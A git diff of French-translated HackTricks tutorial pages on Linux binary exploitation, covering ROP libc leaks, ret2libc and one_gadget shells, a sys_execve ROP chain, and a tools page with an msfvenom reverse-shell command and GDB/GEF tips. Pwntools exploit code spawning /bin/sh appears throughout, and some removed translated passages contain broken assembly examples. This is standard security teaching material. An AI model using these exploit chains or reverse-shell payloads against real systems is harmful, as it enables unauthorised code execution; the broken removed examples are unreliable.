Notez que **l'adresse de base finale de libc doit se terminer par 00**. Si ce n'est pas votre cas, vous pourriez avoir divulgué une bibliothèque incorrecte.
{% endhint %}
Ensuite, l'adresse de la fonction `system` et l'**adresse** de la chaîne _"/bin/sh"_ vont être **calculées** à partir de l'**adresse de base** de **libc** et de la **bibliothèque libc donnée**.
Ensuite, l'adresse de la fonction `system` et l'**adresse** de la chaîne _"/bin/sh"_ vont être **calculées** à partir de l'**adresse de base** de **libc** et de la **bibliothèque libc** donnée.
```python
BINSH = next(libc.search("/bin/sh")) - 64 #Verify with find /bin/sh
SYSTEM = libc.sym["system"]
@ -222,7 +220,7 @@ EXIT = libc.sym["exit"]
log.info("bin/sh %s " % hex(BINSH))
log.info("system %s " % hex(SYSTEM))
```
Finalement, l'exploit d'exécution /bin/sh va être préparé et envoyé:
Enfin, l'exploit d'exécution /bin/sh va être préparé et envoyé :
```python
rop2 = OFFSET + p64(POP_RDI) + p64(BINSH) + p64(SYSTEM) + p64(EXIT)
@ -233,24 +231,24 @@ p.sendline(rop2)
p.interactive() #Interact with the conenction
```
Expliquons ce dernier ROP.\
Le dernier ROP (`rop1`) a fini par appeler à nouveau la fonction principale, donc nous pouvons **exploiter à nouveau** le **débordement** (c'est pourquoi l'`OFFSET` est à nouveau présent). Ensuite, nous voulons appeler `POP_RDI` en pointant vers l'**adresse** de _"/bin/sh"_ (`BINSH`) et appeler la fonction **system** (`SYSTEM`) car l'adresse de _"/bin/sh"_ sera transmise en tant que paramètre.\
Enfin, l'**adresse de la fonction exit** est **appelée** pour que le processus **se termine correctement** et qu'aucune alerte ne soit générée.
Le dernier ROP (`rop1`) a fini par appeler à nouveau la fonction principale, puis nous pouvons **exploiter à nouveau** le **débordement** (c'est pourquoi l'`OFFSET` est à nouveau présent). Ensuite, nous voulons appeler `POP_RDI` pointant vers l'**adresse** de _"/bin/sh"_ (`BINSH`) et appeler la fonction **system** (`SYSTEM`) car l'adresse de _"/bin/sh"_ sera passée en paramètre.\
Enfin, l'**adresse de la fonction exit** est **appelée** pour que le processus se termine correctement et qu'aucune alerte ne soit générée.
**De cette façon, l'exploit exécutera un shell **_**/bin/sh**_**.**
**De cette manière, l'exploit exécutera un shell **_**/bin/sh**_**.**
![](<../../../.gitbook/assets/image (143).png>)
# 4(2)- Utilisation de ONE\_GADGET
Vous pouvez également utiliser [**ONE\_GADGET** ](https://github.com/david942j/one\_gadget) pour obtenir un shell au lieu d'utiliser **system** et **"/bin/sh". ONE\_GADGET** trouvera dans la bibliothèque libc un moyen d'obtenir un shell en utilisant juste une **adresse ROP**. \
Cependant, il y a généralement des contraintes, les plus courantes et faciles à éviter sont comme `[rsp+0x30] == NULL`. Comme vous contrôlez les valeurs à l'intérieur du **RSP**, vous devez simplement envoyer des valeurs NULL supplémentaires pour éviter la contrainte.
Vous pourriez également utiliser [**ONE\_GADGET**](https://github.com/david942j/one_gadget) pour obtenir un shell au lieu d'utiliser **system** et **"/bin/sh". ONE\_GADGET** trouvera dans la bibliothèque libc un moyen d'obtenir un shell en utilisant juste une seule **adresse ROP**. \
Cependant, il y a généralement certaines contraintes, les plus courantes et faciles à éviter sont comme `[rsp+0x30] == NULL`. Comme vous contrôlez les valeurs à l'intérieur du **RSP**, il vous suffit d'envoyer quelques valeurs NULL supplémentaires pour éviter la contrainte.
![](<../../../.gitbook/assets/image (615).png>)
```python
ONE_GADGET = libc.address + 0x4526a
rop2 = base + p64(ONE_GADGET) + "\x00"*100
```
# FICHIER D'EXPLOITATION
# FICHIER D'EXPLOIT
Vous pouvez trouver un modèle pour exploiter cette vulnérabilité ici:
@ -262,17 +260,17 @@ Vous pouvez trouver un modèle pour exploiter cette vulnérabilité ici:
## MAIN_PLT = elf.symbols\['main'] introuvable
Si le symbole "main" n'existe pas, vous pouvez simplement chercher où se trouve le code principal :
Si le symbole "main" n'existe pas. Alors vous pouvez simplement trouver où se trouve le code principal:
```python
objdump -d vuln_binary | grep "\.text"
Disassembly of section .text:
0000000000401080 <.text>:
```
et définir l'adresse manuellement:
et définir manuellement l'adresse :
```python
MAIN_PLT = 0x401080
```
## Puts introuvable
## Puts non trouvé
Si le binaire n'utilise pas Puts, vous devriez vérifier s'il utilise
@ -286,16 +284,14 @@ BINSH = next(libc.search("/bin/sh")) - 64
```
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert de l'équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
- Travaillez-vous dans une entreprise de **cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
D'autres façons de soutenir HackTricks:
- Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
- Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
- **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
- **Partagez vos astuces de piratage en soumettant des PR au [dépôt hacktricks](https://github.com/carlospolop/hacktricks) et au [dépôt hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts github.
</details>

38
exploiting/linux-exploiting-basic-esp/rop-leaking-libc-address/rop-leaking-libc-template.md
View file

@ -1,16 +1,14 @@
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert de l'équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
- Travaillez-vous dans une entreprise de **cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
D'autres façons de soutenir HackTricks :
- Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
- Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
- **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) **groupe Discord** ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
- **Partagez vos astuces de piratage en soumettant des PR au [dépôt hacktricks](https://github.com/carlospolop/hacktricks) et au [dépôt hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
</details>
@ -205,13 +203,13 @@ P.interactive() #Interact with your shell :)
## MAIN_PLT = elf.symbols\['main'] introuvable
Si le symbole "main" n'existe pas, vous pouvez simplement chercher où se trouve le code principal :
Si le symbole "main" n'existe pas. Alors vous pouvez simplement trouver où se trouve le code principal :
```python
objdump -d vuln_binary | grep "\.text"
Disassembly of section .text:
0000000000401080 <.text>:
```
et définir l'adresse manuellement :
et définir manuellement l'adresse :
```python
MAIN_PLT = 0x401080
```
@ -221,7 +219,7 @@ Si le binaire n'utilise pas Puts, vous devriez vérifier s'il utilise
## `sh: 1: %s%s%s%s%s%s%s%s: not found`
Si vous trouvez cette **erreur** après avoir créé **tous** les exploits: `sh: 1: %s%s%s%s%s%s%s%s: not found`
Si vous trouvez cette **erreur** après avoir créé **toute** l'exploit : `sh: 1: %s%s%s%s%s%s%s%s: not found`
Essayez de **soustraire 64 octets à l'adresse de "/bin/sh"**:
```python
@ -229,16 +227,14 @@ BINSH = next(libc.search("/bin/sh")) - 64
```
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert de l'équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
- Travaillez-vous dans une entreprise de **cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
D'autres façons de soutenir HackTricks:
- Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
- Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
- **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) **groupe Discord** ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
- **Partagez vos astuces de piratage en soumettant des PR au [repo hacktricks](https://github.com/carlospolop/hacktricks) et au [repo hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
</details>

150
exploiting/linux-exploiting-basic-esp/rop-syscall-execv.md
View file

@ -1,25 +1,27 @@
# ROP - appel à sys\_execve
# ROP - appeler sys\_execve
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert en équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
Autres façons de soutenir HackTricks :
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
</details>
Afin de préparer l'appel à **syscall**, il est nécessaire de configurer ce qui suit :
Pour préparer l'appel du **syscall**, la configuration suivante est nécessaire :
* `rax: 59 Spécifie sys_execve`
* `rdi: ptr to "/bin/sh" spécifie le fichier à exécuter`
* `rdi: ptr vers "/bin/sh" spécifie le fichier à exécuter`
* `rsi: 0 spécifie qu'aucun argument n'est passé`
* `rdx: 0 spécifie qu'aucune variable d'environnement n'est passée`
Ainsi, il est essentiel d'écrire la chaîne `/bin/sh` quelque part, puis d'effectuer l'appel à **syscall** (en prenant en compte le bourrage nécessaire pour contrôler la pile).
Donc, fondamentalement, il est nécessaire d'écrire la chaîne `/bin/sh` quelque part, puis d'effectuer le `syscall` (en tenant compte du rembourrage nécessaire pour contrôler la pile).
## Contrôler les registres
@ -37,7 +39,7 @@ Avec ces adresses, il est possible d'**écrire le contenu dans la pile et de le
### Mémoire inscriptible
Tout d'abord, vous devez trouver un endroit inscriptible dans la mémoire.
Tout d'abord, vous devez trouver un emplacement inscriptible dans la mémoire
```bash
gef> vmmap
[ Legend: Code | Heap | Stack ]
@ -46,65 +48,14 @@ Start End Offset Perm Path
0x00000000006b6000 0x00000000006bc000 0x00000000000b6000 rw- /home/kali/git/nightmare/modules/07-bof_static/dcquals19_speedrun1/speedrun-001
0x00000000006bc000 0x00000000006e0000 0x0000000000000000 rw- [heap]
```
### Écrire une chaîne de caractères
### Écrire une chaîne
Ensuite, vous devez trouver un moyen d'écrire un contenu arbitraire à cette adresse.
Ensuite, vous devez trouver un moyen d'écrire du contenu arbitraire à cette adresse
```python
ROPgadget --binary speedrun-001 | grep " : mov qword ptr \["
mov qword ptr [rax], rdx ; ret #Write in the rax address the content of rdx
```
#### 32 bits
#### Description
Dans les architectures 32 bits, les appels système sont effectués en utilisant l'instruction `int 0x80`. Cette instruction déclenche une interruption logicielle qui transfère le contrôle au noyau du système d'exploitation. Les arguments sont passés dans les registres `eax`, `ebx`, `ecx`, `edx`, `esi` et `edi`.
#### ROP
Pour appeler une fonction du système en utilisant ROP, nous avons besoin de trouver une séquence de gadgets qui nous permettent de charger les arguments dans les registres appropriés et d'appeler l'instruction `int 0x80`. Voici un exemple de séquence de gadgets pour appeler la fonction `execve("/bin/sh", NULL, NULL)` :
```assembly
pop esi ; pop ebp ; ret
pop ebx ; ret
mov eax, 0xb ; ret
int 0x80
```
Cette séquence de gadgets effectue les opérations suivantes :
1. `pop esi ; pop ebp ; ret` : charge l'adresse de la chaîne "/bin/sh" dans `esi`.
2. `pop ebx ; ret` : charge `ebx` avec la valeur `NULL`.
3. `mov eax, 0xb ; ret` : charge `eax` avec la valeur `0xb`, qui correspond à l'appel système `execve`.
4. `int 0x80` : déclenche l'interruption logicielle pour appeler la fonction du système.
#### Exemple
Voici un exemple de code qui utilise cette séquence de gadgets pour appeler la fonction `execve("/bin/sh", NULL, NULL)` :
```assembly
section .data
cmd db "/bin/sh", 0
section .text
global _start
_start:
; Charger l'adresse de la chaîne "/bin/sh" dans esi
pop esi ; pop ebp ; ret
add esi, 0x0a2d2a2d ; xor byte [esi], 0x2d ; ret
; Charger ebx avec la valeur NULL
pop ebx ; ret
xor ebx, ebx
; Charger eax avec la valeur 0xb
mov eax, 0xb
; Appeler l'instruction int 0x80
int 0x80
```
Ce code charge l'adresse de la chaîne "/bin/sh" dans `esi`, charge `ebx` avec la valeur `NULL`, charge `eax` avec la valeur `0xb`, puis appelle l'instruction `int 0x80` pour appeler la fonction `execve("/bin/sh", NULL, NULL)`.
```python
'''
Lets write "/bin/sh" to 0x6b6000
@ -127,67 +78,6 @@ rop += p32(0x6b6000 + 4)
rop += writeGadget
```
#### 64 bits
#### Introduction
Dans les systèmes 64 bits, les appels système sont effectués en utilisant l'instruction `syscall`. Cette instruction prend un numéro de service dans le registre `rax` et les arguments dans les registres `rdi`, `rsi`, `rdx`, `r10`, `r8` et `r9`. Les valeurs de retour sont stockées dans le registre `rax`.
#### ROP pour exécuter `execve("/bin/sh", NULL, NULL)`
Pour exécuter `/bin/sh` en utilisant `execve`, nous avons besoin de mettre l'adresse de la chaîne `/bin/sh` dans `rdi`, l'adresse NULL dans `rsi` et `rdx` et le numéro de service `execve` dans `rax`.
Nous pouvons trouver l'adresse de la chaîne `/bin/sh` en utilisant la commande suivante:
```bash
$ strings -a -t x /lib/libc.so.6 | grep '/bin/sh'
```
Cela nous donnera l'adresse de la chaîne `/bin/sh` dans la bibliothèque `libc.so.6`.
Ensuite, nous avons besoin de trouver l'adresse de l'instruction `syscall`. Nous pouvons le faire en utilisant la commande suivante:
```bash
$ objdump -d /lib/libc.so.6 | grep syscall
```
Cela nous donnera l'adresse de l'instruction `syscall` dans la bibliothèque `libc.so.6`.
Maintenant, nous pouvons construire notre chaîne ROP en utilisant les adresses que nous avons trouvées:
```python
#!/usr/bin/env python2
from pwn import *
libc = ELF('/lib/libc.so.6')
# Find the address of "/bin/sh"
binsh = next(libc.search('/bin/sh'))
# Find the address of the syscall instruction
syscall = libc.symbols['syscall']
# Find the address of the pop rdi; ret gadget
pop_rdi_ret = 0x00000000004006b3
# Find the address of the pop rsi; pop r15; ret gadget
pop_rsi_pop_r15_ret = 0x00000000004006b1
# Find the address of the pop rdx; ret gadget
pop_rdx_ret = 0x0000000000449935
# Build the ROP chain
rop = p64(pop_rdi_ret) + p64(binsh) + p64(pop_rsi_pop_r15_ret) + p64(0) + p64(0) + p64(pop_rdx_ret) + p64(0) + p64(syscall)
# Send the ROP chain to the vulnerable program
p = process('./vuln')
p.sendline('A'*40 + rop)
p.interactive()
```
#### Conclusion
En utilisant ROP, nous pouvons exécuter des appels système tels que `execve` pour exécuter des commandes arbitraires. Cela peut être utile pour obtenir un shell sur une machine cible ou pour effectuer d'autres actions malveillantes.
```python
'''
Lets write "/bin/sh" to 0x6b6000
@ -276,12 +166,14 @@ target.interactive()
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
* Travaillez-vous dans une entreprise de **cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
Autres façons de soutenir HackTricks:
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
</details>

131
exploiting/tools/README.md
View file

@ -1,16 +1,14 @@
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert de l'équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
- Travaillez-vous dans une entreprise de **cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
D'autres façons de soutenir HackTricks :
- Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
- Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
- **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) **groupe Discord** ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
- **Partagez vos astuces de piratage en soumettant des PR au [dépôt hacktricks](https://github.com/carlospolop/hacktricks) et au [dépôt hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
@ -23,35 +21,13 @@ nasm_shell.rb
nasm> jmp esp #Get opcodes
msfelfscan -j esi /opt/fusion/bin/level01
```
## Shellcodes
Les shellcodes
## Coquilles
```
msfvenom /p windows/shell_reverse_tcp LHOST=<IP> LPORT=<PORT> [EXITFUNC=thread] [-e x86/shikata_ga_nai] -b "\x00\x0a\x0d" -f c
```
# GDB
## Installation
### Linux
Pour installer GDB sur Linux, utilisez la commande suivante :
```
sudo apt-get install gdb
```
### MacOS
Pour installer GDB sur MacOS, utilisez Homebrew :
```
brew install gdb
```
### Windows
Pour installer GDB sur Windows, vous pouvez utiliser MinGW ou Cygwin.
```
apt-get install gdb
```
@ -75,17 +51,17 @@ apt-get install gdb
\> **br \*func+23**\
\> **br \*0x12345678**\
**> del NUM** --> Supprimer ce nombre de points d'arrêt\
\> **watch EXPRESSION** --> Interrompre si la valeur change
\> **watch EXPRESSION** --> Arrêter si la valeur change
**> run** --> Exécuter\
**> start** --> Démarrer et interrompre dans main\
**> start** --> Démarrer et s'arrêter dans main\
\> **n/next** --> Exécuter l'instruction suivante (pas à l'intérieur)\
\> **s/step** --> Exécuter l'instruction suivante\
\> **c/continue** --> Continuer jusqu'au prochain point d'arrêt
\> **set $eip = 0x12345678** --> Changer la valeur de $eip\
\> **info functions** --> Informations sur les fonctions\
\> **info functions func** --> Informations sur la fonction\
\> **info functions func** --> Infos de la fonction\
\> **info registers** --> Valeur des registres\
\> **bt** --> Pile\
\> **bt full** --> Pile détaillée
@ -99,10 +75,10 @@ apt-get install gdb
* **x/2x $eip -4** --> $eip - 4
* **x/8xb $eip** --> 8 octets (b-> octet, h-> 2 octets, w-> 4 octets, g-> 8 octets)
* **i r eip** --> Valeur de $eip
* **x/w pointer** --> Valeur du pointeur
* **x/s pointer** --> Chaîne pointée par le pointeur
* **x/xw \&pointer** --> Adresse où se trouve le pointeur
* **x/i $eip** —> Instructions de EIP
* **x/w pointeur** --> Valeur du pointeur
* **x/s pointeur** --> Chaîne pointée par le pointeur
* **x/xw \&pointeur** --> Adresse où se trouve le pointeur
* **x/i $eip** —> Instructions de l'EIP
## [GEF](https://github.com/hugsy/gef)
```bash
@ -136,20 +112,20 @@ gef➤ pattern search 0x6261617762616176
```
## Astuces
### Mêmes adresses GDB
### Adresses identiques de GDB
Lors du débogage, GDB aura des **adresses légèrement différentes de celles utilisées par le binaire lors de son exécution.** Vous pouvez faire en sorte que GDB ait les mêmes adresses en faisant :
* `unset env LINES`
* `unset env COLUMNS`
* `set env _=<path>` _Mettez le chemin absolu vers le binaire_
* `set env _=<chemin>` _Mettez le chemin absolu vers le binaire_
* Exploitez le binaire en utilisant le même chemin absolu
* `PWD` et `OLDPWD` doivent être les mêmes lors de l'utilisation de GDB et lors de l'exploitation du binaire
